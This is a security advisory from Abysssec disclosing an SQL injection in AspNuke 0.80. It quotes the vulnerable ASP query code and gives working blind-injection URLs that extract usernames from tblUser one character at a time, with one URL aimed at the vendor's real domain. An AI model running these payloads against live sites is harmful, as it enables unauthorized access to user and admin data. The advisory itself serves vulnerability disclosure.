
# Abysssec Research

## 1) Advisory information

| | |
|---|---|
| **Title** | **: ASP Nuke Sql Injection Vulnerability** |
| **Affected** | **: AspNuke 0.80** |
| **Discovery** | **: www.abysssec.com** |
| **Vendor** | **: http://www.aspnuke.com** |
| **Impact** | **: Critical** |
| **Contact** | **: shahin [at] abysssec.com , info [at] abysssec.com** |
| **Twitter** | **: @abysssec** |

## 2) Vulnerability Information

Class

**1- SQL Injection**

**Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.**

Remotely Exploitable

**Yes**

Locally Exploitable

**No**

# 3) Vulnerabilities detail

## 1- SQL Injection:

Vulnerable Code in.../module/article/article/article.asp:

```
Ln 37:
    sStat = "SELECT          art.ArticleID, art.Title, art.ArticleBody, " &_
                    "                auth.FirstName, auth.LastName, " &_
                    "                cat.CategoryName, art.CommentCount, " &_
                    "                art.Created " &_
                    "FROM    tblArticle art " &_
                    "INNER JOIN      tblArticleAuthor auth ON art.AuthorID = auth.AuthorID " &_
                    "INNER JOIN      tblArticleToCategory atc ON atc.ArticleID = art.ArticleID " &_
                    "INNER JOIN      tblArticleCategory cat ON atc.CategoryID = cat.CategoryID " &_
                    "WHERE  art.ArticleID = " & steForm("articleid") & " " &_
                    "AND    art.Active <> 0 " &_
                    "AND    art.Archive = 0"
```

Considering to the code, you can browse these URLs:

```
http://www.site.com/module/article/article/article.asp?articleid=7'          (the false Query will be shown)
http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'='a'--   (this Query is always true)
```

With the following URL you can find the first character of Username:

```
http://www.aspnuke.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,1,1)+from+tblUser)--
```

And second character:

```
http://www.site.com/module/article/article/article.asp?articleid=7+and+'a'=(select+SUBSTRING(Username,2,1)+from+tblUser)--
```

And so on.

So you gain Admin's information like this:

**Username : admin**
**Password : (sha256 hash)**

Which the Password was encrypted by SHA algorithm using .../lib/sha256.asp file.